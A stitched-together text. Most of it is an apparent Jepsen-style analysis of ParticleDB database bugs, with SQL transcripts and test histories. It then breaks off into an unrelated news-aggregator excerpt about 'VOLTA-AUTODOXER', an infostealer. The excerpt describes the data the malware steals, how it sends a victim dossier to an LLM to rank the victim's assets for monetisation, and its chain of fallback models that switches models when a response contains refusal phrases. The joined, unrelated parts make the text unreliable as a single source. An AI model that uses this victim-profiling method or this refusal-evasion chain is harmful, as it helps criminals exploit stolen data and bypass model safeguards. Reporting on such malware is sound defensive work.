In ParticleDB 1.1.17 through 1.1.18.8, it appeared impossible to delete rows within a transaction. For example:

root=> CREATE TABLE t (a boolean);
root=> INSERT INTO t (a) VALUES (TRUE);
root=> BEGIN;
root=*> DELETE FROM t;
DELETE 0
root=*> COMMIT;
root=> SELECT * FROM t;
 a
---
 t
(1 row)

We were unable to find a predicate that allowed one to delete records (#26). Version 1.1.18.9 allowed transactions to mostly7 delete rows.

3.6.2 Memento Delere (#45)

1.1.18.9 resolved issue #26, but deleted rows still lingered on in some capacity. While a transaction could not directly select deleted rows, it could observe them via aggregate functions and various predicates.

root=> CREATE TABLE t (a boolean);
root=> INSERT INTO t (a) VALUES (TRUE);
root=> BEGIN;
root=*> DELETE FROM t;
DELETE 1
root=*> SELECT COUNT(*) FROM t WHERE a = TRUE;
 COUNT
-------
     1
(1 row)

root=*> SELECT COUNT(*) FROM t WHERE a = FALSE;
 COUNT
-------
     0
(1 row)

The row must still be present in some sense, because these aggregate queries could observe its value via predicates. However, trying to read the row directly returned nothing:

root=*> SELECT a FROM t WHERE a = TRUE;
 a
---
(0 rows)

Version 1.1.18.11.rc-1 no longer allowed shades of deleted records to persist in aggregate queries (#45).

3.6.3 Night of the Living Integers (#23)

In versions 1.1.4 through 1.1.17, updating an integer column could make rows impossible to delete. For example:

root=> CREATE TABLE t (i int);
root=> INSERT INTO t VALUES (0);
root=> UPDATE t SET i = 1.5;
root=> DELETE FROM t;
DELETE 0
root=> SELECT * FROM t;
 i
---
 1
(1 row)

While this row appears to contain the integer 1, that integer is special, since the UPDATE statement provided the value 1.5. This row cannot be deleted. It does appear in SELECT, and is apparently equal to 1, rather than 1.5. Oddly, updating a row by primary key with the same 1.5 value did not create zombies; the problem (#23) was somehow linked to predicates. ParticleDB 1.1.18.4 no longer exhibited this behavior.

3.6.4 Team Rocket (#84)

Tables with a double precision column suffered from a similar problem: they could be updated with integer values, but doing so would produce zombie rows that could neither be updated nor deleted again.

ROOT=> CREATE TABLE t (a double precision);
root=> INSERT INTO t (a) VALUES (1.0);
root=> UPDATE t SET a = 2;
root=> DELETE FROM t;
DELETE 0
root=> SELECT * FROM t;
 a
---
 2
(1 row)

If the double precision column was a primary key, these updates would produce duplicate copies of the updated row. This issue (#84) affected ParticleDB 1.1.18.11.rc-1 through 1.1.18.11.rc-8, and was fixed in 1.1.18.11.rc-9.

3.6.5 A Ghost is Technically Not a Number (#78)

In ParticleDB 1.1.18.11.rc-1 through 1.1.18.11.rc-6, NaN values stored in real or double precision columns could neither be updated nor deleted.

DROP TABLE IF EXISTS t;
CREATE TABLE t (a real);
INSERT INTO t (a) VALUES ('NaN');
UPDATE t SET a = 5.0;
  -> #:next.jdbc{:update-count 0}
DELETE FROM t;
  -> #:next.jdbc{:update-count 0}
SELECT * FROM t;
  -> [{:a ##NaN}]

This issue (#78) did not occur with the psql shell, but did happen with both ParticleDB and Postgres JDBC clients. Version 1.1.18.11.rc-7 seems to have fixed the problem.

3.6.6 Beached Strings (#74)

In ParticleDB 1.1.18.11.rc-1 through 1.1.18.11.rc-6, fixed-width strings were unmodifiable unless created with exactly the right number of characters. While ParticleDB would correctly pad the string 'hi' to 'hi ', the resulting row could neither be updated nor deleted.

root=> CREATE TABLE t (a character(3));
root=> INSERT INTO t (a) VALUES ('hi');
root=> DELETE FROM t;
DELETE 0
root=> UPDATE t SET a = 'sup';
UPDATE 0
root=> SELECT * FROM t;
  a
-----
 hi
(1 row)

If a fixed-width column was used as a primary key, it could be updated, but only once. Both old and new copies would appear as distinct rows.

CREATE TABLE t
       (a character(3) PRIMARY KEY);
INSERT INTO t (a) VALUES ('um');
UPDATE t SET a = 'no';
SELECT a FROM t;
-> [{:a "um "} {:a "no "}]

Any further attempt to modify those rows would produce a duplicate key error, despite all the values involved being distinct. Fixed-width strings were also incomparable using the = operator. Version 1.1.18.11.rc-7 resolved these issues (#74).

3.6.7 Pet Sematary (#46)

In SQL, the DROP TABLE statement destroys a table completely. In ParticleDB 1.1.18.9 through 1.1.18.11.rc-1, it left a shadow of the table behind, whose rows would reappear in later tables with the same name and more-or-less compatible schemata. To demonstrate this behavior, let us create a table with a single row:

root=> CREATE TABLE t (a text, b real);
root=> BEGIN;
root=*> INSERT INTO t VALUES ('boo', 18.83);
root=*> COMMIT;

We then drop the table, and demonstrate that it no longer exists:

root=> DROP TABLE t;
root=> SELECT * FROM t;
ERROR:  table not found

If we then create a new table with the same name and a somewhat compatible schema, rows from the deleted table reappear in the new one. However, the resurrected rows are not exactly their former selves. The floating-point value 18.83 has become the integer 19.

root=> CREATE TABLE t (a text, b int);
root=> BEGIN;
root=*> SELECT * FROM t;
  a  | b
-----+----
 boo | 19
(1 row)

This behavior (#46) seemed linked to transactions, and no longer appeared in 1.1.18.11.rc-3.

3.7 State Corruption

ParticleDB had many ways to create values which could not be read, alter values unexpectedly, create rows with incorrect or missing columns, or otherwise corrupt logical state. The issues in this section involved only a single server, single client, and no faults.

3.7.1 Unreadable Infinities (#15)

In versions 1.1.4 through 1.1.17, ParticleDB’s Postgres interface did not correctly serialize floating-point values like Infinity. One could write infinite values, but trying to read them would cause the client to throw an error.

CREATE TABLE t (a real);
INSERT INTO t (a) VALUES ('Infinity');
SELECT * FROM t
   => PSQLException: "Bad value for type
      double : inf"

With Postgres, this correctly returned the JVM’s Double/INFINITY value. NaN was serialized correctly. At the psql shell, stored values came back as inf, rather than Infinity. In version 1.1.18.6, ParticleDB serialized infinite values correctly (#15).

3.7.2 NaN Sometimes Converted to 0.0 (#21)

ParticleDB 1.1.4 through 1.1.18.4 would sometimes (but not always!) convert the floating-point value NaN to 0.0. For example:

root=> CREATE TABLE t (a real);
root=> INSERT INTO t (a) VALUES (2.5);
root=> INSERT INTO t (a) VALUES ('NaN');
root=> SELECT * FROM t;
  a
-----
 2.5
   0
(2 rows)

Delightfully, whether this NaN corruption occurred depended on the order in which rows were inserted. If the first value inserted into the table was NaN, that and later NaNs would be preserved. Version 1.1.18.6 seemed to store NaN correctly (#21).

3.7.3 Assignment of Incompatible Types (#7)

In ParticleDB 1.1.4 through 1.1.18.4, you could update a column of one type to a column of a different, incompatible type—producing values like null or 0. For example:

root=> CREATE TABLE t (a INT, b BOOLEAN);
root=> INSERT INTO t VALUES (2, FALSE);
root=> SELECT * FROM t WHERE a = b;
ERROR:  arrow compute: Invalid argument error:
Invalid comparison operation: Int64 == Boolean
root=> UPDATE t SET a = b;
root=> SELECT * FROM t;
 a | b
---+---
 0 | f

In Postgres, this UPDATE would throw ERROR: column "a" is of type text but expression is of type int. ParticleDB refused to compare this string to an integer (at least in this case), but was perfectly happy to make one equal to the other, resulting in NULL. Version 1.1.18.6 seemed to resolve this issue (#7).

3.7.4 Insert Column Order Table Corruption (#16)

In SQL, one usually inserts a row into a table using a statement like INSERT INTO people (name, age) VALUES ('xanthippe', 15). ParticleDB 1.1.4 through 1.1.17 ignored the INSERT statement’s columns, using whatever column order had been used to create the table originally. This produced rows with titillating properties. Consider the following pair of inserts: one with columns in the same order as the table’s schema, and a second in a different order:

root=> CREATE TABLE t
       (a TEXT NOT NULL PRIMARY KEY,
        b boolean);
root=> INSERT INTO t (a, b) VALUES ('x', TRUE);
root=> INSERT INTO t (b, a) VALUES (FALSE, 'y');
root=> SELECT COUNT(*) FROM t;
 COUNT
-------
     2
(1 row)

While ParticleDB thinks this table contains two rows, neither can be read via SELECT *:

root=> SELECT * FROM t;
 a | b
---+---
(0 rows)

In general, any query which happened to encounter a row inserted with a different column order would silently produce zero results. However, each row could be read by primary key! Note the different column orders in the output:

root=> SELECT * FROM t WHERE a = 'x';
 a | b
---+---
 x | t
(1 row)

root=> SELECT * FROM t WHERE a = 'y';
 b | a
---+---
 f | y
(1 row)

In the preceding example, the two columns were of (somewhat) incompatible types. What happens if the types are compatible?

root=> CREATE TABLE t (a INT, b REAL);
root=> INSERT INTO t (a, b)
       VALUES (1, 1.23E32);
root=> INSERT INTO t (b, a)
       VALUES (2.34E32, 2);
root=> SELECT * FROM t;
          a          |    b
---------------------+---------
                   1 | 1.23e32
 9223372036854775807 |       2
(2 rows)

Now the table is readable, but the data is corrupt. The second row’s a value appears under b, and vice-versa. The floating-point value 2.34E32 has become the integer 263 − 1.

If we attempt to delete every row from the table, something very strange happens. The DELETE leaves the differently-ordered row in place, and its originally inserted values now appear intact!

root=> DELETE FROM t;
DELETE 1
root=> SELECT * FROM t;
 a |    b
---+---------
 2 | 2.34e32
(1 row)

A second DELETE statement—now that the table contains only rows inserted with column order (b, a)—could successfully delete the remaining row. These column-order issues (#16) no longer appeared in version 1.1.18.4.

3.7.5 Updates Can Insert Corrupt Rows (#24, #25)

In ParticleDB 1.1.4 through 1.1.18.8, an update which matched no rows could instead create a new, possibly corrupt row in the table, with baffling effects. Consider a table mapping integer keys to integer values:

root=> CREATE TABLE t
       (id int not null primary key,
        val integer);
root=> BEGIN;
root=*> UPDATE t SET val = 10 WHERE id = 0;
UPDATE 1
root=*> COMMIT;

This table was just created. It contains no rows, so the update should have affected zero, not one row. And yet it now contains a row!

root=> SELECT COUNT (*) FROM t;
 COUNT
-------
     1
(1 row)

However, that row is invisible to typical queries:

root=> SELECT * FROM t;
 id | val
----+-----
(0 rows)

root=> SELECT * FROM t WHERE id = 0;
 id | val
----+-----
(0 rows)

root=> SELECT * FROM t WHERE val = 10;
 id | val
----+-----
(0 rows)

Although one cannot directly see the row by primary key, it can conflict with some inserts.

root=> INSERT INTO t (id, val) VALUES (0, 100);
INSERT 0 1
root=> INSERT INTO t (id, val) VALUES (10, 110);
ERROR:  duplicate key value violates unique
        constraint (key=10)

“Hang on,” an astute reader might exclaim. “The row we supposedly updated had id = 0 and set val = 10. Why did it not conflict with an insert of id = 0?”

Quite right, dear reader! And why did it instead conflict with id = 10?

These are excellent questions—which we do not know the answer to. Pressing on:

root=> CREATE TABLE t
       (id int not null primary key,
        val integer);
root=> BEGIN;
root=*> UPDATE t SET val = 50 WHERE id = 5;
UPDATE 1
root=*> SELECT * FROM t WHERE id = 5;
 val
-----
  50
(1 row)

root=*> COMMIT;

Within the transaction, the row produced by this update is readable by its primary key id = 5. Although this table has two columns, the row is printed as if it had only one: val = 50.

As in #16, these corrupt rows caused queries that encountered them to silently return zero rows, even if there were other valid rows that would have matched.

root=> INSERT INTO t VALUES (6, 60);
root=> SELECT * FROM t WHERE id IN (6);
 id | val
----+-----
  6 |  60

(1 row)

root=> SELECT * FROM t WHERE id IN (6, 7);
 id | val
----+-----
(0 rows)

Although our corrupt row had id = 5 (or perhaps 50), adding a second value to the IN predicate seems to have caused ParticleDB to “notice” the corrupt row. It then failed to return the valid row with id = 6.

Depending on the table structure and UPDATE statement, rows created by updates might be structurally valid, but logically corrupt:

root=> CREATE TABLE t (a INT UNIQUE);
root=> INSERT INTO t VALUES (1);
root=> BEGIN;
root=*> UPDATE t SET a = 3 WHERE a = 2;
UPDATE 1
root=*> COMMIT;
root=> SELECT * FROM t;
 a
---
 1
 3
(2 rows)

This bug (#24) also allowed updates which would have left a row’s value unchanged to instead throw a duplicate key exception, as they (presumably) conflicted with themselves (#25). Both issues appeared resolved as of version 1.1.18.9.

3.7.6 Sometimes, Strings That Are Extensive… Are Cursed (#37)

In versions 1.1.15 through 1.1.17, text strings could be unexpectedly transmogrified into eight-bit integers. We encountered this in append tests using the official ParticleDB client, like this one. The append workload stores a comma-separated list of integers in an SQL TEXT column called val, and appends values to it using CONCAT. Most reads of val sensibly returned strings:

["select (val) from txn2 where id = ? " 2946]
  -> [{:val "1"}]

However, after approximately 30 seconds, the ParticleDB client began returning eight-bit integers for key 2946. Here, the key’s value has become the JVM Byte 1:

["select (val) from txn2 where sk = ? " 2946]
  -> [{:val 1}]

From this point on, some keys appeared as strings, while others returned integers. A read of key 2961 returned the string "2", while key 2865 returned the integer 1—then moments later, the string "1,2". Sometimes the integer values corresponded to the string value produced by earlier writes, but not always. For example, a transaction read key 2980 as the integer 0—when the only elements appended to its string were "1" and "2". Shortly thereafter, a single transaction read key 2980 twice and found a string, then an apparently unrelated integer:

["select (val) from txn2 where id = ? " 2980]
  -> [{:val "2,1"}]
["select (val) from txn0 where sk = ? " 2981]
  -> [{:val "1"}]
["select (val) from txn2 where sk = ? " 2980]
  -> [{:val 3}]

This issue (#37) seemed to disappear by 1.1.18.11.rc-1.

3.7.7 Eternal Sunshine of the Spotless Table (#72)

In ParticleDB 1.1.18.11.rc-1, append tests of the table-2pl transaction mode often threw errors like:

PDB wire error 1064: SQL execution error: failed to create RecordBatch: Invalid argument error: Column ‘id’ is declared as non-nullable but contains null values

This is odd. The append workload always picks a unique integer ID for every write, and never tries to write a NULL ID. It also never updates an ID—they are set only once, when the row is created. Here’s an example where a single SELECT statement, issued outside of a transaction, complained of null primary keys. This suggests that the table state had somehow become corrupt.

We no longer observed this error (#72) in 1.1.18.11.rc-7.

3.8 Transactions and Concurrency

We found several problems with ParticleDB’s transactions and concurrency control. All of these occurred in single-node instances without fault injection.

3.8.1 Nested Transactions Destroy Ongoing Ones (#44)

ParticleDB 1.1.4 through 1.1.18.9 allowed clients to begin nested transactions, instead of warning that a transaction was already ongoing. Any writes performed by the enclosing transaction would be lost, both within the nested transaction and after commit.

root=> CREATE TABLE t (a int);
root=> BEGIN;
root=*> INSERT INTO t VALUES (3);
root=*> BEGIN;
root=*> SELECT * FROM t;
 a
---
(0 rows)
root=*> COMMIT;

ParticleDB 1.1.18.11.rc-1 seems to have resolved this issue (#44): issuing BEGIN within a transaction warned there is already a transaction in progress, and preserved the ongoing transaction’s writes.

3.8.2 Aborted Transactions Can Commit (#43)

Between versions 1.1.17 and 1.1.18.4, ParticleDB handled aborted transactions irregularly. With the Postgres interface, an attempt to commit an aborted transaction would throw an error, as one would expect:

root=> BEGIN;
root=> INSERT INTO t (a) VALUES (3);
root=> THIS IS NOT VALID SQL;
ERROR:  sql parser error: Expected: an SQL
statement, found: THIS at Line: 1, Column: 1
root=> COMMIT;
ROLLBACK

Nevertheless, the writes performed by the aborted transaction persisted:

SELECT * FROM t;
  -> [{:a 3}]

The ParticleDB client had a different, also unexpected behavior: executing a COMMIT statement on a failed transaction returned [#:next.jdbc{:update-count 0}], rather than an error. Although the transaction apparently committed, its effects were invisible. Both interfaces, as of version 1.1.18.11.rc-18, returned errors and did not expose the effects of aborted transactions (#43).

3.8.3 Aggregates Sometimes Fail to Observe a Transaction’s Rows (#48)

In ParticleDB 1.1.4 through 1.1.18.9, transactions which performed aggregate queries, like SELECT COUNT(*), could miss rows they should have matched, and return duplicate copies of rows, depending on the predicate and previous queries in the transaction. For example:

root=> CREATE TABLE t (a int);
root=> INSERT INTO t (a) VALUES (2);
root=> BEGIN;
root=*> INSERT INTO t (a) VALUES (3);
root=*> SELECT COUNT(*) FROM t;
 COUNT 
-------
     1
(1 row)

This table clearly contains two rows: 2 and 3. Yet while the second row was visible to SELECT *, it was invisible to SELECT COUNT(*). Oddly enough, aggregate functions which interacted with the column’s value, like SELECT COUNT(*) FROM t WHERE a < 5, sometimes observed correct state. In other circumstances, SELECT queries appeared to create duplicate copies of rows within the transaction, causing each query to observe more and more rows. These behaviors (#48) no longer appeared in version 1.1.18.11.rc-1.

3.8.4 Double Trouble (#89)

ParticleDB 1.1.18.11.rc-9 would occasionally return duplicate copies of a single row, even though the row had a primary key which ought to have ensured uniqueness. For example, take this append test, in which a read of key 10 returned two rows, rather than one.

[{:val "1,2,5,10"}
 {:val "1,2,5,10"}]

We no longer observed duplicate rows (#89) in 1.1.18.11.rc-18.

3.8.5 Updates to Zero Values Sometimes Fail Silently (#91)

In ParticleDB 1.1.18.4, a transaction could set all rows in a table to some value, receive an acknowledgement that every row had been updated, then read the table to find that some rows still had their previous values. This bug seemed to hinge on inserting rows with a special “zero” value: 0 for integers, 0.0 for floats, and '' for various kinds of string columns. For example:

root=> CREATE TABLE t (a INT);
root=> INSERT INTO t (a) VALUES (0);
root=> BEGIN;
root=*> UPDATE t SET a = 1;
root=*> INSERT INTO t (a) VALUES (0);
root=*> UPDATE t SET a = 2;
UPDATE 2
root=*> SELECT t.a FROM t;
 a
---
 2
 0
(2 rows)

ParticleDB claimed that it updated all two rows in this table, but showed the original value of 0 for one of them. This issue (#91) seemed fixed by 1.1.18.11.rc-9.2.

3.8.6 Tables With a TEXT Primary Key Are Mostly Invisible (#41)

Version 1.1.18.9 fixed several safety issues, but also introduced new ones. For example, tables with a text primary key were mostly invisible to transactions:

root=> CREATE TABLE t (a TEXT PRIMARY KEY);
root=> INSERT INTO t (a) VALUES ('mood');
root=> BEGIN;
root=*> SELECT * FROM t;
 a
---
(0 rows)

SELECT, UPDATE, and DELETE were all affected. Rows were invisible to a broad variety of predicates, including WHERE a LIKE 'moo%' and WHERE a IS NOT NULL. However, rows were still accessible by primary key:

root=*> SELECT * FROM t WHERE a = 'mood';
  a
------
 mood
(1 row)

Version 1.1.18.11.rc-1 no longer exhibited these mostly-invisible tables (#41).

3.8.7 A Thousand Tableaus (#38, #66, #68, #69)

Perhaps owing to the single-threaded issues discussed above, ParticleDB 1.1.4 through 1.1.18.9 exhibited frequent, profound transactional anomalies in essentially every way we could measure. We routinely observed the loss of committed writes, internal consistency violations, G1a (Aborted Read), G1b (Intermediate Read), and P4 (Lost Update). In the append workload, successfully appended values would routinely disappear from later reads of a given key. Our test suite inferred every kind of cyclic anomaly including G0, G1c, G-Single, and G2-item, but many of these can be attributed to more basic issues, like write loss. These issues occurred with a single server and without faults, and affected every transaction mode, interface, and WAL mode tested.8

Since we have already discussed single-threaded anomalies at length, we omit detailed discussions of these issues. By version 1.1.18.11.rc-1, ParticleDB’s most glaring examples of G1a (#66), G1b (#38), internal consistency anomalies (#68), write loss (#69), and so on were much diminished.

3.8.8 G-Single (#73)

With versions 1.1.18.11.rc-1 through 1.1.18.11.rc-22, we occasionally observed G-single, a violation of Snapshot Isolation, in single nodes without faults. For example, here are two transactions from an append test using transaction mode occ-v3 and WAL mode groupsync:

The top transaction read key 9 and found it did not exist, then appended 8 to it. The bottom transaction appended 6 to key 9. Since every read of key 9 observed a value like [6 8 12 ...], we know that the append of 6 happened before the append of 8. The top transaction failed to observe the bottom, even though the bottom must have occurred before the top. This is a similar phenomenon to P4 (Lost Update), and violates Snapshot Isolation.

Similar behavior (#73) occurred in zero-copy-occ and 1.1.18.11.rc-22’s occ. Orkes is investigating. Following our collaboration, Orkes reports version 1.1.19-rc.13 no longer exhibits G-Single.

3.8.9 Brazil (#67)

In version 1.1.18.9, we found that queries for a specific row by a unique, constant integer ID would occasionally return the value of a completely different row. For example, consider this append test running against a single, healthy node with transaction mode occ-v3 and WAL mode groupsync. Reads of key 12 mostly observed values consistent with the appends to key 12, but for a brief time observed nothing, and then the value of key 7 instead.

The value [1, 5, 8, ... 181, 86] was consistent with reads of key 7, not key 12. For the remainder of the test, reads observed values consistent with the original version of key 12: [1, 2, 7, ...]. This issue (#67) did not appear in our tests after version 1.1.18.11.rc-1.

3.8.10 Lost Writes With table-2pl (#70)

In versions 1.1.18.11.rc-1 through 1.1.18.11.rc-6, ParticleDB’s table-2pl transaction mode routinely lost committed writes during normal operation. For example this append test, using the ParticleDB Java client, lost writes to dozens of keys in just a few seconds.

Since the append workload only appends to rows and never deletes them, every read should have observed a prefix of the longest version of the list. Instead it appears that the append of 5, then the appends of 1, 6, 10, and 11, were lost. Moreover, some of these writes were lost in the middle of a transaction, resulting in internal consistency errors.

By version 1.1.18.11.rc-7, table-2pl no longer lost writes this frequently (#70).

3.8.11 Internal Anomalies With occ-v3 (#96)

ParticleDB 1.1.18.11.rc-9.2 occasionally violated internal consistency using transaction mode occ-v3 and WAL sync mode groupsync. For example, take this append test where a single transaction read nil, then [1, 4] for key 8:

[[:r 8 nil] [:r 8 [1 4]]]

At Read Atomic and above, two successive reads of the same key should not return different results. This also violates Snapshot Isolation and Serializability. This bug (#96) may have been resolved by 1.1.18.11.rc-19.

3.8.12 There Is No Anti-Memetics Division (#65)

ParticleDB 1.1.18.11.rc-1 through 1.1.18.11.rc-9.1 would often forget a column existed. A query like SELECT * FROM snacks WHERE sk = 4 would throw an error like PDB wire error 1064: column not found: sk. This issue (#65) occurred in every transaction mode, but seemed to be resolved by version 1.1.18.11.rc-9.2.

3.8.13 Six Data Blockers and a Large Iced Coffee (#31)

Versions 1.1.18.8 through 1.1.18.11.rc-22 exhibited perplexing nondeterministic failures in the compare workload. Each test case established a fresh database client, created a globally unique table, and performed operations against that table synchronously. At no point should there have been two clients concurrently accessing a table. And yet sometimes, rows failed to appear in queries:

root=> CREATE TABLE t_876 (a boolean);
root=> INSERT INTO t_876 (a) VALUES (NULL);
root=> INSERT INTO t_876 (a) VALUES (NULL);
root=> SELECT * FROM t_876 WHERE TRUE;
  a
------
 NULL
(1 row)

One could update rows using the predicate WHERE NULL, which should never match anything:

root=> CREATE TABLE t_40 (a boolean);
root=> INSERT INTO t_40 (a) VALUES (FALSE);
root=> UPDATE t_40 SET a = (a <= a) WHERE NULL;
UPDATE 1

In many cases single SQL statements threw errors complaining of concurrent updates, even though at most one client should ever have accessed a given table.

root=> CREATE TABLE t_101 (
  a text COLLATE unicode PRIMARY KEY
);
root=> INSERT INTO t_101 (a) VALUES (' ');
root=> UPDATE t_101 SET a = NULL;
ERROR: could not serialize access due to
       concurrent update on table "t_101"
       key " "

Deleted rows could also remain visible:

root=> CREATE TABLE t_27763 (
  a boolean,
  b boolean NOT NULL UNIQUE PRIMARY KEY
);
root=> INSERT INTO t_27763 (a, b)
       VALUES (NULL, TRUE);
root=> DELETE FROM t_27763;
root=> SELECT t_27763.a AS j FROM t_27763
       WHERE t_27763.b ORDER BY t_27763.b;
  j
------
 NULL
(1 row)

These anomalies (#31) occurred with all transaction modes and WAL sync modes, but attempts to reproduce them deterministically, or to narrow down their cause, were unsuccessful. They may be artifacts of a bug in the test suite, but we lacked time to investigate fully. After our collaboration, Orkes reported 1.1.19-rc.13 resolved this issue.

3.8.14 Read Skew With table-2pl (#106)

With the ParticleDB interface, WAL mode groupsync, and table-2pl, version 1.1.18.11.rc-18 exhibited G-single under normal operation. Here’s an example:

T1: [[:r 112 nil]
     [:append 112 1]
     [:append 103 29]
     [:append 67 105]]

T2: [[:r 110 [10 14 13 20 16 28 30 33 48 35]]
     [:r 112 [1]]
     [:r 110 [10 14 13 20 16 28 30 33 48 35]]
     [:r 103 [1 4 11 15 17 20 24 25]]]

The first transaction appended 1 to key 112 and 29 to key 103. The second transaction observed the append to key 112, but missed the append to key 103. Since it observed but also failed to observe another transaction, this is A5A (Read Skew). Since the first transaction read-write depends on the second, and the second write-read depends on the first, it is also G-single. Both are violations of Snapshot Isolation.

We no longer observed Read Skew with table-2pl (#106) by version 1.1.18.11.rc-19.

3.8.15 Stale Read With strict-serializable (#109)

Version 1.1.18.11.rc-18 added a new transaction mode, strict-serializable, which may have been renamed to serializable in 1.1.18.11.rc-22.9 Strict Serializability (also known as Strong Serializability) guarantees that all transactions appear to execute in real-time order: if T1 completes before T2 begins, then T1 appears to execute before T2. However, this was not true in 1.1.18.11.rc-18. Healthy ParticleDB nodes infrequently but regularly exhibited Stale Read, even with WAL mode sync. In one of our testing environments, these anomalies appeared roughly every 300,000 transactions, using Elle’s exponential key distribution and 10 concurrent clients pushing ~80 transactions per second.

Stale reads all seemed to share the same structure: a cycle comprising a real-time, read-write, then write-read edge. The top transaction appended 66 to key 22209, which was read by the middle transaction. After the middle transaction completed, the bottom transaction began, and read key 22209 without 66. This is a violation of Strong Snapshot Isolation, and therefore Strong Serializability as well.

After the conclusion of our testing work, Orkes reported that version 1.1.19-rc.10 no longer exhibits stale read (#109).

3.8.16 Lost Writes (#110)

In version 1.1.18.11.rc-18 through 1.1.18.11.rc-22, a healthy ParticleDB node running occ-v3, zero-copy-occ, table-2pl, or serializable-ssi would occasionally discard acknowledged writes. For example, take this append test, which ran with WAL mode sync. Out of approximately 20,000 keys, 31 lost writes.

While the transaction which wrote 3 committed successfully, and its write was visible to several other transactions, the elements 1, 2, and 3 were replaced by 4, 5, 6, ... after 2799.02 seconds, and never reappeared. This occurred every few minutes in our tests, with both the Postgres and ParticleDB interfaces.

A transaction could also read an acknowledged write, modify that row, and find that the modification apparently destroyed the written value, leading to internal anomalies as well as data loss. After we finished testing Orkes released version 1.1.19-rc.13, and believes that it fixes this issue (#110).

3.9 With Faults

The issues described above occurred in healthy, single-node instances of ParticleDB. When we introduced faults, new behaviors emerged.

3.9.1 Data Loss on WAL Bitflips (#108)

ParticleDB uses checksums to detect corruption or incomplete writes to its Write-Ahead Log (WAL) files. Sometimes these checks prevented the server from starting up with corrupt data. In other cases, ParticleDB would discover that its data files were corrupt, then start up anyway, serving data to clients.

Take this append test of 1.1.18.11.rc-18. At 09:25:09 we introduced two single-bit errors into one of ParticleDB’s .wal files. At 09:25:39 we read key 1754 and observed a list of 44 elements.

A few milliseconds later, we killed and restarted ParticleDB a few times. When the server came back online at 09:26:07, it logged:

2026-07-22T14:26:07.985223Z  WARN ThreadId(01)
recover_streaming{dir=/opt/particledb/data/wal}:
spanner_wal::segment: checksum mismatch in
segment tail, stopping read segment_id=0

2026-07-22T14:26:07.985235Z  WARN ThreadId(01)
recover_streaming{dir=/opt/particledb/data/wal}:
spanner_wal::recovery: replaying valid prefix
of already-sealed corrupt WAL segment (.corrupt
marker present) and continuing with later
segments of this stripe stripe_id=0 segment_id=0
corruption_offset=25184 valid_size=25184
recovered_entries=242 detail="checksum mismatch:
stored 0xf3b8aa37, computed 0x4a774da2"

However, the server went on to start up and serve client requests normally. At 09:26:09, we read key 1754 and found those 44 elements had disappeared.

Several other keys also lost some or all of their acknowledged writes. Orkes is investigating this issue (#108). While Jepsen has not tested this version, Orkes reports 1.1.19-rc.12 detects bitflips correctly and refuses to start.

3.9.2 Total Data Loss With Simulated Misdirected Reads/Writes (#112)

One of our file corruption faults divided a file into four-kilobyte chunks, then randomly replaced a small fraction of those chunks with other chunks from the same file. The goal is to simulate misdirected reads or writes, a type of silent data corruption that happens in some storage systems. In 1.1.18.11.rc-22, ParticleDB sometimes responded to this type of fault by forgetting every table and (apparently) deleting everything in its WAL file.

For example, take this test run. At 09:53:56, the test harness shuffled 13 four-kilobyte chunks of the first .wal file around—approximately one-tenth of the file’s contents. It then killed and restarted the node. Although this file had hundreds of kilobytes in it, when ParticleDB started up it logged that there was no data on disk:

2026-07-30T14:53:58.715589Z  INFO ThreadId(01)
spanner_exec::engine::context: No data found in
storage — starting fresh

At 09:53:58, ParticleDB began throwing ERROR: table not found for every query. No request ever succeeded after this time.

It appears that ParticleDB may have deleted the contents of its WAL file. A few seconds later, the test found its size was zero bytes, and the same held true at the end of the test. After we finished testing Orkes released version 1.1.19-rc.12; they believe it resolves this issue (#112).

3.9.3 Internal Anomalies With strict-serializable and Process Kills (#107)

With strict-serializable, WAL mode groupsync, and the ParticleDB interface, single nodes running 1.1.18.11.rc-18 exhibited internal anomalies with process kills. Here’s an example:

{:op {:index 190704,
      :time 100211183125,
      :type :ok,
      :process 59,
      :f :txn,
      :value [[:r 2879 nil]
              [:append 2879 16]
              [:r
               2879
               [1 2 3 4 5 7 8 16]]]},
 :mop [:r 2879 [1 2 3 4 5 7 8 16]],
 :expected [16]}

This transaction read key 2879 as nil, then appended to it, and read its value—only to find that seven elements had been appended in the intervening time. Transactions could also exhibit G-single and P4 (G-single), but we suspect these could be due to the same underlying bug. While Jepsen has not had a chance to test this release, Orkes claims this issue (#107) was resolved in version 1.1.19-rc.12.

The Daily Front Page 8 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The Automated Burglar
article

Malware uses LLMs to rank victims by how much they're worth

by khalidkhair·▲ 249 points·131 comments·blog.talosintelligence.com ↗
rank the victim’s assets by monetization value
  • VOLTA is a mature stealer implant with an optional AI-integration layer. After stealing credentials, sessions, and cryptocurrency wallets, VOLTA sends a structured evidence bundle to an LLM to rank the victim’s assets by monetization value.
  • If a model refuses to perform the target assessment, VOLTA fails over to a three-model chain, implying a direct engineering effort and expectation of hitting model guardrails.
  • This stealer is self-deleting, and there is no attacker-owned infrastructure. The novelty in the AI-integration is that it is not supporting a traditional malware capability but working as an intelligence analyst on behalf of the operator.

There is a new idea in the cybercrime world — cast a wide net, steal everything, and let AI sort out the specifics. A new malware self-named “VOLTA-AUTODOXER,” surfaced through the CAIRN research effort, is a self-deleting Windows infostealer that augments its post-theft workflow with an LLM-powered victim-profiling stage.

After harvesting the standard stealer haul, including browser passwords; cookies; payment cards; cryptocurrency wallet seed phrases; Discord, Telegram, Steam, and Roblox sessions; Microsoft OAuth tokens; SSH and cloud-provider keys; Wi-Fi profiles; and screenshots, VOLTA builds a structured evidence bundle about the person behind the machine. This bundle contains geolocation and home address, employer and employer domain, inferred birth year, card last-4 digits, Slack workspaces, document authorship metadata, iPhone backup indicators, and a live Roblox account valuation. It then uses stolen session access to enrich that bundle further: searching the victim's Gmail for purchase receipts to corroborate a home address, pulling UberEats and DoorDash order history, and enriching Discord accounts via the stolen token.

The bundle is serialized and POSTed to OpenRouter under a system prompt that instructs the model to act as "a forensic intelligence analyst drafting a target assessment." The required output includes a section titled “WHAT THEY'RE WORTH” with valuables ranked by monetization with a low/medium/high tier, and a section on “THEIR OPSEC” containing an assessment of the victim's security posture and password hygiene. The model is the operator's triage analyst; it turns a raw credential log into a prioritized and citation-backed dossier of the victim and their monetizable assets.

Figure 1. The VOLTA-AUTODOXER workflow.

The AI configuration: “Go deep, not wide... Be blunt, specific, accurate.”

VOLTA uses a multi-model architecture to fall back resiliently if it hits a model’s refusal, checking each response for phrases like “I can’t” or “I’m not able,” before passing on to a chain of up to three models.

Endpoint

https[:]//openrouter[.]ai/api/v1/chat/completions

Default model

anthropic/claude-opus-4.6

Fallback chain

